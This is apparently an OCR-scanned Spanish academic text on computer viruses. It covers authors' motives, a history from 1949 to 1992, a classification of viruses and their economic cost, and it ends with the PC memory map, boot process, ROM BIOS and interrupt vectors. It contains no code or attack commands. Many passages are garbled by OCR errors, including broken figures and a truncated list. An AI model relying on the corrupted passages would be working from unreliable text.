Lo que es seguro, es que el primer algoritmo se origina del planteamiento 

de un problema aparentemente simple: desarrollar un algorltmo que fuese capaz 

de reproducirse a si mismo. Lo complicado de esta cuestión no es la 

autorreproducción, sino que la copia producida en el proceso debe ser tal que en 

algún momento tenga el control del procesador. 

La resolución de este problema derivó otro: lCuál es su utilidad?. El hecho 

de que un proorama se reproduzca a si mismo no tie'le utilidad práctica; en caso 

de que se quiera una copla de él se puede hacer con los comandos del sistema 

operativo, bajo reglas comunes de manejo de archivos. 

De esta manera, la resolución del nuevo problema fué la baso del concepto 

de "lnfocclón" Informática, la cual es la contaminación de un disco sano por el 

proceso de autorreproducción de un virus informático. 
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La aplicación que se dá a este algoritmo es producir répllcas de su código 

sin consentimiento ni conocimiento del usuario. 

M.2lOOlL 
Pocos programadores de virus declaran cuáles son sus verdaderos motivos, 

pero es claro que las variedades más nuevas y virulentas fueron 

estructuradas con el propósito de el!,!dir la detección. Los principales motivos 

que llevan a un programador a desarrollarlos se mencionan a continuación: 

Proeza Muchas versiones de virus que existen actualmente aparecen acompafladas 

de jóvenes estudiantes do computación, que desarrollan este tipo de 

aplicaciones como un wreto•, una proeza. Cada voz que una compañia 

proclama que su producto de software antivirus puede detectar y eliminar 

todos los virus conocidos y desconocidos de ahora y del futuro, surge un 

creador de virus Que Intenta demostrar lo contrario. 

proleccl(,n En alguno::; co.::.o: !ce prc-¡;re.m~doreg d~s0rrollan variantes de virus que se 

les conoce como •esquemas de protección•, que son parte en sf da los 

sistemas que los contienen. Este tipo de protección ha demostrado ser tan 

efectivo como los sistemas de resguardo que emplean métodos sofisticados 

de encrlotamlento de nrnnrames. 

Castigar Un motivo menos frecuente es el de casUgar la piratería lnformáUca, en la 

que los programas virus llevan control preciso del número do coplas do los 

programas y al reconocer una copla no autorizada destruyen toda la 

Información que esté a su alcance. 

En muchos casos los duonos de empresas de software contratan a 

programadores que desarrollan estas aplicaciones, con el fin de detectar a 

los elementos de su companfa que obtiene coplas Ilegales de Jos sistemas 

1 oue desarrollan. 

Sabotea- Este es el motivo más temido. Actualmente se ha llegado a un grado de 

dores dependencia de los sistemas computarizados de tal manera quo una falla en 

ellos es un gran problema. Algunos virus están disonados para esto, con 

algoritmos sofisticados que logran penatrar Jos sistemas de seguridad sin ser 

detectados, extrayendo Información, alterándola o borrándola oor comoleto. 
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Pen:mradoro.,. 
um personas que desarrollan estas aplicaciones pueden tener uno o varios 

motivos da los mencionados •interiormente, pero es Indispensable que 

tangan un conoc1miento profundo no sé/o de programación, sino además de 

la estructura y funcionamiento de la computadora. 

Empleados Muchos incidentes son causados por empleados autorizados que 

actúan en su beneficio, fuera de los objetivos y funciones de su 

trabajo, y en detrimento de la organización. 

Desarrolladores Inicialmente las personas que trabajan en desarrollar aplicaciones 

da Software. de software croaron virus que se encontraban Integrados a las 
aplicaciones que desarrollaban, con el fin da protegerlas de ser 

copiadas sin autorización. Estos programas de software llevan 

Inmerso un código de lógica de secuencia, al cual esta .evaluando 
mensajes que recibe del usuario, sin notificación, mediante algún 

tipo de protoco1o visual, auditivo o de tiempo. Con esto puede 

reconocer a un usuario no autorizado; tornando medidas 
partinontas para su protacclón. 

Prankater Algunos jovenes usuarios y estudiantes de computación, crean 

(bromistas) aplicaciones para entrar deliberadamente en sistemas protegidos 

con claves de acceso y otros medios de seguridad, para probar 

su pericia. Una vez que abren los candados y penetran al sistema 

mandan mensajes victoriosos en pantalla, sin provocar o intentar 

orovocar dallas en la información. 

Profesionales Los 'profesionales" se catalogan en tres categorfas: los que 

tienen intenciones •aimlnales•, los que perfeccionan sus 
conocimientos y los que deliberadamente los desarrollan y 
aplican para romper sistemas de seguridad como un "medidor" 

de vulnerabilidad para estudiarlas v oerfeccionarlas. 
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Cyberpunks Este término se emplea para describir a un grupo de 

programedcuis, pero con un comportamionto antisocial que 
delib6radamente Irrumpen en sistemas informé.tices, de •ado tipo,! 

¡ con cl rin Ca causar daños, solamente para su dive~~:)n y i 
¡ s2U::f.scci!'.~n ¡:..;:ir:;om·,1. El tfirmino :::;;; C2rt-m dei ;;;énero !itefario de 1 

1 
cienci~ ficción qua dsscribe o. los cibarpunltZ corno 

1 

desarrolladores de ·u os da alta leer.ola la. 

Saboteadores o Las aplicaciones desarrolladas por ellos son las más complicadas 
Terrorlstaa y mejor diseñadas, dado que se enfrentan a los sistemas de 

1.3.2. Historia de los virus Informáticos. 

A continuaci6n se presenta un cuadro con los principales hechos hlst6ricos 

relativos con los virus informáticos. 

AFIO Virus descubiertos Observaciones 

1949 John van Neumann, describió algunos programas 

que se reproducen a sí mismos en su libro Theory 

and Oraanization of Comolicated Automata. 

1960 la primera Información da algo qua parece Incluir ya 

1970 códigos que trabajan como virus, se refiera a la 

década da los años 60, y es acerca da los 

estudiantes de computación del Instituto 
Tacno16gico de Massachusetts. 

Los estudiantes se reunían para elaborar programas 

sofisticados de entretenimiento (juegos), pero 

además desarrollaban aplicaciones que tenían por 

fin afectar los sistemas creados por sus 
compañeros. Estas aplicaciones sin ser un virus 

1 oronIRmonte funcionaban con bases similares. 
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AÑO Virus descubiertos Observaciones 

1972 La primera vez que se usa el término virus ocurre 

en una novela de ciencia ficción, 'When Harley Was 

One", por David Gerrold. La descripción del virus no 

es muy apegada a la realidad, aunque se distingue 

cierto conocimiento sobre los mismos. 

1974 Xerox Corporation presentó en Estados Unidos el 

primer programa que ya contenta un código 

autoduplicador. 

1983 Fred Cohen presenta una ~formal de vlrua 

lnlcrm6tlco. En ese momento , Cohen era un 

graduado de la Universidad del Sur de Cal~ornla, y 

en la cual asistía a un seminario sobro seguridad 

informática. Se lo ocurrió la Idea de desarrollar un 

programa que afectara el comportamiento normal 
de una computadora (PC), para demostrar la 
Importancia de la seguridad en los sistemas 

existentes, el cual lo desarrolló er\ s6io un:: ~emana. 

' Et supervisor del seminario: Profesor Len Adelman 

su¡¡irió oue llamara a su creación corno ''virus'. 

1984 Le revista Scientific American publica lo anterior en 

su artlculo "Computar Recreations' en el número de 

mayo, ofreciendo por dos dólares las guías para la 

creación de virus propios. 

1986 Es cuando se d~nde un virus con la finalidad de 

causar destrozos en la információn de los usuarios, 

y éste ataca una gran cantidad de computadoras. 

Fue desarrollado en Lnhore, Paqulstán, por dos 
hermanos que comerciaban en computadoras y 
software. 
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AÑO Virus descubiertos Observaciones 

En su compaftta (Braln Computers) so ofreclan 

programas muy famosos a precios muy bajos con lo 

que el número de copias infectadas se extendió 

rápidamente no sólo en Paquistán, sino que al rosto 

del mundo. Se supone que hasta la fecha el virus 

referido ha Infectado més de 18 000 computadoras, 

solamente en Estados Unidos. 

1987 Alameda, South Diciembre, los expertos de IBM tuvieron que 

African, Lehigh, diseñar un programa antivirus para desinfectar su 

Vienna, Israelí. sistema de correo interno, pues éste fue contagiado 

por un virus dañino que hacia aparecer en las 

pantallas de las computadoras conectadas a su red 

un mensaje navideño, el cual al reproducirse a si 

mismo múltiples veces hizo muy lento el sistema de 

mensajes de la compañia, hasta el punto de 

oaralizarlo oor esoacio de setenta v dos horas. 

1988 ltallan, Dos 62, New Aldus Corporatlon lanzó al mercado originales de su 

Zealand, Cascada, programa Free-Hand para Macintosh infectados por 

Aglplan,Oropax, un virus "benigno" llamado Macintosh 

Search, dBase, Peace,MacMag o Brandow. La finalidad de este 

Screen, Datacrime virus fué para desplegar un mensaje de paz en las 

(viernes 13), 405, pantallas de los usuarios, a fin de celebrar el 

Pentagon, Traceback, aniversario de la Introducción de la Macintosh 11, el 2 

lcelandic, Mistake. de marzo de 1988. 

Richard R. Brandow, editor de la revista MacMag de 

Montreal, Canadá, contrató a un programador para 

realizar el mencionado virus, que pronto se propagó 

por medio de los servicios de cartelera electrónica -

[Bulletin Board Sarvice (BBS)) - (que son servicios 

do software o Información compartida por 

computadoras vía módem y servicio telefónico). 
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AÑO Virus descubiertos Observaciones 

Se Identificó el vlru1 de Jerusalén, que según 

algunas versiones, fué creado por la Organización 

para la Liberación de Palestina con motivo de la 

celebración del cuarenta aniversario del último día 

en que Palestina existió como nación, el viernes 13 

de mayo de 1988. 

El 2 de noviembre del mismo año, dos redes de 
computadoras en Estados Unidos fueron Infectados 

por un virus que se Introdujo en ellas, afectando a 

mas de 6000 equipos de Instalaciones militares de la 

NASA, universidades y centros de investigación 

' 1 públicos y privados. ,. 
30 de octubre, el diario ll1e New York Times, 

anunciaba que las computadoras de la ~ habla 

sido Interferida por desconocidos causando 

problemas en el lanzamiento del transbordador 

espacial Atlantis. 

En esa ocasión, unas sesenta computadoras fueron 

Infectadas y el programa Intruso se siguió 

reproduciendo por medio de la red comercial que 

tiene la NASA con empresas privadas. 

1989 Se llevó ante los tribunales a Robert Morris Jr. (su 

padre Robert Morris fué uno de los cientmcos de los 

laboratorios Bell, quien colaborara en la creación del 

programa Cor e War), acusado de ser el creador de 

un virus que infectó computadoras de un sinnúmero 

de empresas privadas y oficinas de gobierno. 
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AÑO Virus descubiertos Observaciones 

1992 Se da una gran publicidad a nivel mundlal a un 
nuevo virus Uamado Miguel Angel, lo cual causó 

gran alarma sobre la seguridad de los sistemas 

computacionales, siendo este el único caso, hasta 

ahofa, de una alarma mundial para evitar la acción 
de un virus. No se supo de nlngun daOO causado 

por este virus, ni siquiera de alguna detección del 

mismo. 

1.4 Claslflcación de los virus 

Los virus han sido definidos y catalogados de varias formas, pero en 

general se clasifican según el objeto de su ataque: los archivos ejecutables y los 

sectores de arranque de los discos. 

lnlclalmente se agruparon en dos grandes categorías: Caballos de Troya y 

Bombas de Tiempo, aunque cada Investigador del fenómeno hace su propia 

clasificación. 
Actualmente se tienen varias agrupaciones de virus según sus 

características de reproducclón y formas da ataque, de las cuales las más 

aceptadas, o por lo menos las mas difundidas, son: 

Caballee de Troya Este grupo abarca a todos los virus que Infectan 

programas de juegos y sistemas muy comercializados. Los 

programas infectados se difunden rápidamente entre 

piratas y amigos que los copian confiadamente, pero que 

en cuanto se presenta una condición determinada, se 

activan desarrollando una labor destructiva que en algunos 

casos llega al formateo del disco duro, con la consecuente 

pérdida de toda su Información. 
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Bombaade 
Tiempo 

Estos tipos de virus infectan a los programas ejecutables 
que son los archivos con extensión .COM y .EXE. Se 
instalan en memoria simplemente al ejecutarse los 
programas que los contienen. Evalúan parámetros tales 
como la fecha del sistema, la hora, número de accosos a la 
unidad A, y al cumplir una condición determinada 
•explotan" borrando o alterando toda la información que 
esté a su alcance. 

Autorreplfcebles Este grupo se destaca por abarcar a los virus que se 

Esquemaade 
Protección 

autorreproducen, es decir. que incluyen prácticamente al 
75% de las variedades de virus conocidas actualmente. 

Aqul se encuentran los programas que se diseñan para 
trabajar como virus, cuando se intenta copiar un programa 
que está protegido contra copia. En ellos se pueden 
encontrar estructuras complejas que llevan conteos sobre 
el número de copias, comprobación de la Integridad de los 
elementos de protección, encriptamlento y comprobación 

de las claves de acceso al sistema. 
Los virus promocionales caen en esta categorla, Jos cuales 
permiten que la copia ilegal trabaje correctamente por 
algún tiempo, tiempo en el cual el usuario crea varios 

archivos. Al cabo de algún tiempo destruye módulos 
fundamentales del sistema, por lo que el usuario se ve 
obligado a comprar el programa original para poder 
recuoerar la información aue creó con la coola olrata. 

lnfectores del érea Los virus que atacan al sector de arranque se pasan de 
de cargs Inicial una a otra PC introduciéndose en el seétor de arranque de 

un disco flexible. El sector de arranque as el primer sector 
de un disco flexible y todo disco flexible, esté o no 
formateado, tiene un sector de arranque. El virus pasa al 

disco duro si hay un disco flexible infectado en la unidad A: 
cuando se arranca el sistema. El virus más común de este 
tioo es el virus Stoned (droaado). 
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lnfectorea del Son los que afectan a los programas de sistema, por 

alatema ejemplo el COMMAND.COM y otros que se alojan como 

residentes en memoria. Los comandos del DOS, como 

COPY, DIR o ERASE, son programas que se introdue<ln en 
la memoria al cargar el sistema operativo, y es asl como el 

virus adquiere el control para infectar todo disco que se 

introduzca en la unidad. 

lnfectoree de la inmensa mayoría invaden los arcllivos ejecutables 

programas (archivos con extensión .EXE o .COM). La infección se 

eJecutablea produce al ejecutar el programa que tiene el virus, con lo 

que se carga en la memoria de la computadora y a partir 

de entonces infectará archivos ejecutables 'sanos". Esta 
operación pasa inadvertida para el usuario. 

Gusanos Son programas que se reproducen a si mismos y no 

requieren de un anfitrión. Los gusanos se cargan en la 

memoria y se posicionan en una determinada dirección, 

luego se copian en otro lugar y se borran del que 

ocupaban. Esto hace que queden borrados los programas 

o Información que encuentren a su paso por la memoria, 

causando problemas de operación o pérdida de datos. 

Una clasificación más cientlfica, atendiendo a la manera en que se cargan 

en la memoria, es: 

TEMPORALES • Se Instalan temporalmente en la memoria de la 

computadora al ejecutarse un archivo Infectado. 

Cuando termina la ejecución del archivo, se 

descarga junto con el virus de la memoria, es 

decir, existirán en la memoria mientras sea 

ejecutado el programa infectado. 
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RESIDENTES • Al ejecutar un programa Infectado o el sector de 

arranque de un disco se instalan de manera que 

permanecen permanentes en la memoria hasta 

aue es aoaaado el comoutador. 

Puede observarse que muchos virus, atendiendo a sus caracterlstlcas, 
pueden incorporarse en más de uno de Jos g rupoa anteriores, esto es 

fundamentalmente a que sólo un 20% de ellos son originales y el resto son 

variantes de los mismos. 

Para elaborar una clasificación más precisa se parte de lo general a lo 

particular, en función de sus características. La caracterlstica general más 

importante es la autorreproducción, por Jo quo un virus puede dttundirse de disco 

en disco, de computador en computador; pero no todos Jos virus tienen esta 

característica, por ello, ésta se presenta como o\ punto prlncip.al para 

dtterenciarlos, estableciendo dos grandes categorías : no autorreplicables y 
autorrepllcables (diseminadores). 

Además de esta dtterenclaclón, también se tiene una segunda división, por 

cada uno de ellos, en dos subcategorlas, que son para distinguir a los que 

efectúan un dano latente en los sistemas (pérdida do Información), y Jos que 

Implican molestias Insignificantes. 

Lo anterior se representa en el esquema de la figura 1-2. 

No Autorrepllceblea ~ 

Diseminadores ~ 

Benignos 

Caballos de 
Troya 

Portadoreu 

Virulentos 

-No se reproducen y no 
ocasionan daM. 

-No so reproducen, pero 
ocasionan daño. 

-Se reproducen, pero no 
ocasionan daño. 

-Se reproducen y además 
ocasionan daño. 

FIGUPA 1·2. CU.SlflCACION DE LOS VIRUS INFORMATICOS 
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Por lo tanto. oara un virus y y un proarama p se tiene; 

v es Benigno respecto a p si: 

v no es patógeno con respecto a p 

v no es contagioso con respecto a p 

v es un Caballo de Troya con respecto a psi; 

., es patógeno con respecto a p 

v no es contagioso respecto a p 
v es un Portador con respecto a p si: 

v no es patógeno respecto a p 

v es contagioso respecto a p 

v es Virulento con respecto a p si: 

v es patógeno con respecto a p 

v es contagioso con respecto a p 

Por consiguiente, si un programa contiene algún tipo de virus, si este virus 

es Benigno, entoces el programa efectúa las mismas funciones que cuando no 

estaba infectado. Si el virus es un Caballo de Troya, ésta as Incapaz de Infectar 

otros programas, sólo puede efectuar funciones de daño después de evaluar y 

aceptar una condición determinada. Si es un Portador, este es incapaz de causar 

daño, pero, bajo una condición determinada, Infectará otros programas. SI es 

Virulento, infectará otros programas y además causará daño al sistema. 

Por tanto, todo programa infectado por un virus Benigno es 'bondadoso" 

con respecto a la condición anterior a su infección. Esta función le permite, al 

programa infectado, operar como si nunca hubiera sido tocado, y sólo se 

registrará la presencia del virus, por contratiempos menores, los cuales para la 

gran mayorla de los usuarios son prácticamente inadvertidos. A estos virus se les 

denomina benignos en relación a la potencialidad dañina de los virus en general. 

Los programas infectados por un virus No Autorrepllcoble sólo pueden ser 

de tipo Benigno o Caballo de Troya con respecto a sus caracterfsticas antes de 

ser Infectado. En ellos la condición que activa sus funciones dañinas puede no 

presentarse. Los virus No Autorrepllcablen no son capaces de Infectar otros 
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programas, pero, un programa Infectado puede lmttar las !unciones que efectuaba 

antes de ser Infectado, hasta que alguna condición "dispare• la acción destructiva 

del virus. 
Los programas infectados por virus Diseminadores pueden ser del tipo 

Portador con respecto a sus caracterlsticas antes de ser infectados. Esta clase de 

virus infectan a otros programas, pero nunca causan dru'lo a los sistemas. Este 

tipo de virus Infectan a otros programas pero no afectan la complejidad o 

funcionamiento da los sistemas, y por esto, no es posible Identificarlos por medio 

de los daños que provocan. 

Los virus Virulentos pueden efectuar ambas !unciones: infectar otros 
programas y causar daño. Esta es Ja clase de virus más estudiada y temida para 

los usuarios. 

1.5 Costo de un virus. 

En el análisis sobre virus informáticos, el aspecto económico tiende a ser 

muy descuidado por la mayoría de los investigadores, quienes centran su atención 

casi al 100% en los aspectos técnicos del problema. 

La repercusión económica ocasionada por un virus abarca un amplio rango 
que va, desde los virus "benignos" que pueden considerarse con una afectación 

despreciable, hasta los virus ''virulentos" que pueden ocasionar dano físico en 
equipo o pérdida de información. 

Partiendo de esta base, se debe considerar que Jos virus pueden causar 

daños en el hardware y en el software. 

Los daños en hardware se presentan principalmente eh el monitor y en los 

lectores de drive. Un monitor cuesta entre $500,000.00 y $1,500,000.00 pesos, 

mientras que un drive vale $230,000.00 pesos. Así que un virus que dañe al 
monttor o a los drives nos costaría como mlnimo estas cantidades. 

Pero evaluar el costo de un virus no eo tan simple. 

Debe considerarse no sólo el valor de los equipos afectados, sino además 
el desgaste de los recursos informáticos Involucrados. 
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Por ejemplo, suponiendo que en una compañia se efectúe un trabajo de 

captura durante una semana y que al final do la misma se presente un ataque viral, 
ocasionando la deslrución de la Información capturada 

En este caso debe evaluarse multiples cosas: 

• El salarlo del personal de captura (t semana), sin que su trabajo aporte un 

beneficio económico. 

• El desgaste de los recursos de equipo (depreciación sin beneficio). 

• El tiempo de resago (que tan rápido se volverá a capturar la información 

perdida). 

• La pérdida de oportunidad al no contar con la información. 

¿cuánto costará recuperar esta Información en el menor tiempo posible (pago 

de horas extras o contratar mas personal)?. 

Si existía un sistema de seguridad, ¿cuánto costo instalarlo?. 

• Si no sólo se perdió la información de la semana, sino además programas y 

paquetes. 

Estos son los aspectos más "visibles" pero debe considerarse incluso 

aquellos como el factor psicológico que propicia una especie de 'fobia" a la 

repetición del problema, por lo cual los administradores de los sistemas llegan a 
tomar acciones precipitadas. 

El daño al software más significativo es la pérdida de información. Para 

evaluar correctamente el costo de la pérdida de información por un ataque viral 

debe responderse a una pregunta por demás interesante: 

¿cuánto vale la Información manejado en los equipos Informáticos?. 

Un resultado más preciso en el estudio económico de los virus implica un 

análisis de la rentabilidad de la Información. Algunos criterios para la medición del 

"costo-beneficio" se presentan en la figura 1-3. 

El rango beneficio/costo en los sistemas de información es un criterio, más 

que un auténtico índice mensurable. 
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CRITERIO DE RENTABILIDAD DE LA INFORMACION 

UTlUOAO 
RENTABILIDAD DE LA INFOf\MAC!ON .. 

COGTO 

1 
OAADO DE NECESIDAD 

• UT!UOAC •FUNCION ~E OPOfJJUNICMl (TIEMPO) 
AOECUACK>N 

1 

rocmuo 
•cOS'To - FUNCION DE 

TIEMPO DE OBTENCION 

FIGURA \-3. CRITERIO DE RENTABILIDAD DE LA INFORMA.CION 
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Analizando los componentes de la 'utilidad" de la información, se encuentra 

que la oportunidad en el tiempo es una cualidad da singular importancia. Un 

ataque viral puede disminuir la utilidad de la infonmaclón al propiciar resago en la 

funcionalidad de los sistemas informático. El resago se prolonga en gran medida 

en caso de perdida de información que deba ser restablecida, ya que debe 

considerarse en que tiempo debe cubrirse este restablecimiento para que la 

información puede ser oportuna todavía. 

Por otro lado, la evolución actual, tiende al incremento de la Inversiones 

destinadas al tratamiento do la infonmación, y ello a causa de la evolución de las 

necesidades en el campo de la infonmática. 
Sin embargo es difícil hallar crtterios de medida que permttan evaluar la 

rentabilidad de los sistemas de infonmación. 

Además se debe considerar que toda información posee, a la vez, un valor 

psicológico: ayuda a la toma de decisión, confianza en esta decisión y un valor 

económico que puede ser medido en ciertos casos. 

La toma de decisiones es en si un factor importante: no se trata de 
presentar la decisión que producirá mejores resultados • Imposible de predecir 

aprlorl • sino la que está mejor fundamentada. 

La fundamentación de la toma de decisiones, basada en información 

oportuna es en términos reales muy valiosa y su afectación por la actividad de un 

virus Informático puede ser lamentablemente muy costosa. 

En este punto es imposible precisar cílras. Por ejemplo, la información 

procesada en una computadora empleada solamente para trabajo secretaria!, no 

será ·~an valiosa" como otra que procese cotizaciones, análisis presupuestales o 

estudios de mercado. 

As! que el porcentaje de seguridad que debe cubrirse en un sistema 
depende de muchos factores, por esto es que se debe considerar no sólo 

emplear un programa antivirus, sino un plan integral de seguridad informática. 

Por otro lado son muy pocos los estudios serios hechos para medir la 

repercusión económica propiciada por un virus. En agosto de 1988, la Nuclear 

Regulatory Commision, de Estados Unidos, anunció su Intención de sancionar 

hasta con 1 '250,000 dólares a la planta de energía nuclear Peach Bottom, en 

Pensilvania, porque sorprendió a los operadores de la planta jugando en las 

computadoras con copias piratas de programas de juegos (principales medios de 

propagación de virus lnfomátlcos). 
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Puede resumirse en términos reales que gastar en un sistema que 
asegure un 90% de nuestra Información nos costar6 un 10% do laa ganancias, 
pero si se emplea un sistema que aeegure tan sólo el 10% de la Información 
puedo repercuUmoa en el 90% de las ganancias (figura 1-4). 

-SEGURIDAD 

"'" 
SECURIDAO 

"'" COSTO 

COSTO 

• 
PEROIOA 

$ 
PERDIDA 

FIOURA ,_..RELACIÓN COSTO DE SEOURIDAO.PERDIOA ECONOWCA 
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2 

ESTRUCTURA DE LOS 
VIRUS INFORMATICOS 

Los virus Informáticos se reproducen de disco a disco, de computador en 

computador y algunos alteran el funcionamiento de un computador al tener 

acceso directo al BIOS. 

La mayorla de los usuarios no tienen ninguna noción, ni siquiera elemental, 

de como está estructurado un computador, los medios de almacenamiento ni 

como operan las funciones básicas del BIOS, por lo que no pueden entender 

plenamente a los virus. Estos conocimientos, que aunque técnicos no son 

complicados para entenderse, son fundamentales no sólo para comprender a los 

virus, y al tenerlos, el usuario posee recursos apropiados para detectarlos, 
prevenir su contagio asl como sus daños, erradicarlos y en la medida de lo posible 

recuperar información que hayan afectado, aún sin contar con los programas 

antivirus, que por otro lado son, hasta cierto punto, Inseguros para la detección de 

nuevos virus. 
Es por esto que se dará a conocer los conocimientos básicos del software 

de ROM, lo cual permitirá conocer como alteran y modifican el funcionamiento de 

un computador. 

SI conocemos la estructura de los discos y su funcionamiento, 

entenderemos cómo y en que áreas se alojan estos programas, con lo que será 

más fácil localizarlos y podremos tomar las medidas adecuadas para combatirlos. 

Por último se estudiará en detalle la manera en que efectúan la 

autorreproducción, la cual es la función mas peculiar de éstos, con lo que se 

podrán entender los controles que efectúan los programas antivirus, asl como 

justificar algunas reglas básicas de seguridad que se estudiarán en el capltulo 3. 



2.1 Conceptos básicos del software da ROM. 

Este software es el que inicializa al ccmputador y permite que las funciones 

que efectúa sean mucho más fáciles al permanecer permanentemente dentro de la 

ccmputadora. Este software de ROM (Read Only Memory - memoria do sólo 

19Clura), es una memoria parmanentemonte recordada por los circuitos ROM del 

computador, la cual no puede ser cambiada, borrada o perdida. 

Las ccmputadora~ PCs y PS/2s contienen un ROM ccn programas y datos 

necesarios para Inicializar y operar un ccmputador y sus perrrériccs (monitor, 

impresora, etc.). La ventaja de tener los programas fundamentales para la 

computadora en ROM es que ostá justamente ahí (dentro del ccmputador), y no 

es necesario cargarlos en memoria de algún disco, que es la forma en que carga 

en memoria al sistema operativo. Como son permanentes, los programas en ROM 

pueden ser empleados por otros programas (incluyendo al DOS). 

Los programas contenidos en ROM ocupan las direcciones FOOO:OOOOh a 

FOOO:FFFFh en la familia PCf/CTIAT y en los PS/2 modelos 25 y 30, y EOÓO:OOOOh a 

FOOO:FFFFh en los otros modelos de PS/2s. Esto puede observarse 

esquemáticamente en la figura 2-1. 

La dirección exacta en que se encuentra una rutina en la ROM puede variar 

en los distintos tipos de computadoras, por lo que la IBM provee una interface 

ccnsistente con el software de ROM empleando interrupciones, las cuales se 

explicarán más a detalle en la sección 2.1.2. 

2.1.1. Mapa de memoria dal sistema. 

En la original IBM PC, los 1 MB de espa~io direccionables por el 8088 fueron 

divididos en áreas especificas según su función, como se muestra en la figura 2-1. 

Este mapa de memoria ha sido integrado, por compatiblildad, en los 

subsecuentes modelos de PC y PS/2. 
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ExlonalÓfl de memofl• • PC/AT y PS/2 

100000/i --.:===========! 
Aeaerndo p..r• •X1en1lon de ROM 

COOOOH _ _.,.,__~~~~~~~----~ 
Butt.,1 deVkko 

AOOOOH--fJo"!::==========::!~ 
Parte rnldente ~ OOS 

Aroa de Tr1balo 
(progr1ma1 de u1uulo y da101) 

Parte rHiden1e del 000 

OOOOOH ___ .,__A_ .. _._••_m_•_~_ .. _,_._,,_A_OM_e_1os_,_BA_s_1c___. 

A.roa de d.1101 Pll" I• ROM 9109 
00400H---oj---~~-------~ 

Vector .. de Interrupción 

FIGURA 2·1. Map. de m•morl1 uaado en PC1 y PS/21 

,__RAM 

Una consecuencia de la distribución de la memoria en esta forma es el 

diseño del microprocesador 8086. Por ejemplo, el 8086 siempre mantiene una lista 

de vectores de interrupción (direcciones de rutinas de manejo de interrupciones) 

en los primeros 1024 bytes de la RAM. Similarmente, todo procesador basado en 

el 8086 coloca la memoria ROM en la parte alla de la memoria, porque, el 8086, 

cuando comienza, ejecuta el programa que comienza en la dirección FFFFOh. 

El resto del mapa de memoria muestra una división general entre la RAM en 

la parte baja de la memoria y la dirección de la ROM en la parte alta. Un máximo 

de 640 KB de RAM puede existir entre las direcciones OOOOOh a 9FFFFh (esta es el 
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área de memoria descrita por el programa CHKDSK del DOS). Los subsecuentes 

bloques de memoria son reservados para el video (AOOOOh a BFFFFh), circuitos 
de expansión de ROM (COOOOh a DFFFFh), y la ROM permanente (EOOOOh a 

FFFFFh). 

2.1.2. Arranque del computador 

El primer trabajo que efectúan los programas de ROM es el de supervisar el 

arranque del computador. 
Las rutinas de arranque efectúan cinco operaciones básicas: 

Se efectúa un rápido chequeo del computador (y de los programas de 

ROM ara ase urarse ue todo está en orden. 

2 Inicializa los circuitos que controlan los dispositivos perttéricos conectados 

al com utador. 

3 

4 utador. 

5 

Las operaciorres anteriores se explicarán a continuación con mayor detalle: 

El chequeo del sistema, comienza desdo el momento que se prende y es 

un importante proceso que asegura el funcionamiento correcto del computador. El 

chequeo en este punto es muy rápido, con excepción del chequeo de la memoria 

(RAM), el cual puede ser muy lento para computadoras que tienen gran capacidad 

de memoria. 

El proceso de inicialización es más complejo. Una rutina establece los 

valores default para los vectores de interrupción. Estos valores son las direcciones 

de rutinas estándar localizadas en la ROM BIOS, o direcciones de rutinas de 

"no_hacer_nada" también en la ROM BIOS tales que serán remplazadas por 
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rutinas establecidas por el sistema operativo o por el propio usuario. Otra rutina de 

Inicialización determina que equipo está declarado para ser manejado por el 

computador y establece un registro de esto en una locación estándar en la parte 

baja de la memoria. Esta información varía de modelo a modelo y el ROM BIOS lee 

estos datos de cunfiguración de un área de memoria especial, no volátil, cuyo 

contenido es inicializado por un programa especial llamado setup, proporcionado 

por IBM. El resto de las rutinas de inicialización efectúa una inspección lógica y 

prueba del hardware del computador. 

La información de estado es recordada e inicializada en la misma forma por 

todo modelo de computador, y por esto, cualquier programa puede examinarla y 

utilizarla. Las rutinas de inicialización también checan nuevo equipo declarado y 

extensiones de la ROM. Si encuentra alguna, transfiere momentáneamente el 

control a la extensión de ROM para que ésta inicialice sus procesos. 

La parte final de este proceso da arranque, es ejecutar el programa de 

bootstrap • programa ele arranque. Esta es una pequeña rutina qua ejecuta un 

programa da un disco. En esencia, et ROM bootstrap lee el sector de cmga de un 

disco (boot sector • sector O). El boot sector del disco es responsable da llamar a 

otro programa del disco, que es usualmente un sistema operativo, tal como el 

DOS (Disk Operating System). Si el programa de carga (ROM bootstrap) no 

puada lear el sistema operativo, ::icfr1::i algun:is n.1inas del ROM BASIC o despliega 

un mensaje de error. SI no existe problema en ejecutar el programa de carga ni al 

cargar el sistema operativo el proceso termina y el computador transfiere el control 

al sistema operativo. 

2.1.3 El ROM BIOS 

El ROM BIOS es la parte del ROM que siempre está activa mientras el 

computador esté trabajando. El principal objetivo del ROM BIOS es el de proveer 

servicios fundamentales que son necesarios para al computador. La parte més 

importante de sus funcionas es la de controlar los dispositivos perttéricos, tales 

como al monitor, el teclado, y las unidades de disco. El BIOS no sólo contiene 

rutinas necesarias para el control da los perttéricos, también contiene rutinas 
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fundamentales para la operación del computador, tal como el manejo del tiempo o 

de fechas. 
Conceptualmente, los programas del ROM BIOS mantienen funciones entre 

programas ejecutados en RAM (incluyendo al DOS) y el hardware. En efecto, ol 
BIOS trabaja en dos direcciones o dos formas de procesamiento. Por un lado 

atiende requerimientos de programas que emplean servicios de entrada/salida 

con funciones estándar del BIOS. Un programa invoca estos servicios con una 

combinación de un número de interrupción (que indica el sujeto de servicio 

requerido, tal como servicios de impresión) y el número de servicio (que Indica 

especlficamente que servicio requiere). Por el otro lado el ROM BIOS se comunica 

con los dispositivos per~éricos de hardware (pantalla, controladores de discos y 

otros) , empleando comandos detallados sobre el requerimiento del periférico. 

2.1.4. Vectores de Interrupción 

La familia de IBM PCs, tal como todo computador basado en la familia del 

microprocesador 8086 de lntel. es controlada por el uso de interrupciones, que 

pueden genernrso por hardware o por software. Las rutinas de servicios del BIOS 

no tienen excepciones, estas son asignadas por un número con el cual se puede 

llamar a ésta siempre que se quiera usar el servicio. 

Cuando ocurre una interrupción, el computador transfiere el control al 

comienzo de una subrutina cuya dirección fue inicializada por las rutinas de 

arranque del ROM (las rutinas de servicio del BIOS no son más que un conjunto 

de direccionamientos a subrutinas para el manejo de estas interrupciones). El 

comienzo de la subrutina para el manejo de interrupción es llamado por las 

direcciones del segmento y desplazamiento contenidas dentro de los registros de 

control de ftujo de programa: registro CS (coda segment - segmento de código) y 
el registro IP (instruction pointer - puntero de instrucción), que juntos forman el par 

CS:IP. Los direccionamientos de las subrutinas de interrupción de esta manera 

son llamados vectores de Interrupción. 

Durante el proceso de lnlclallzación del sistema, el BIOS establece la tabla 

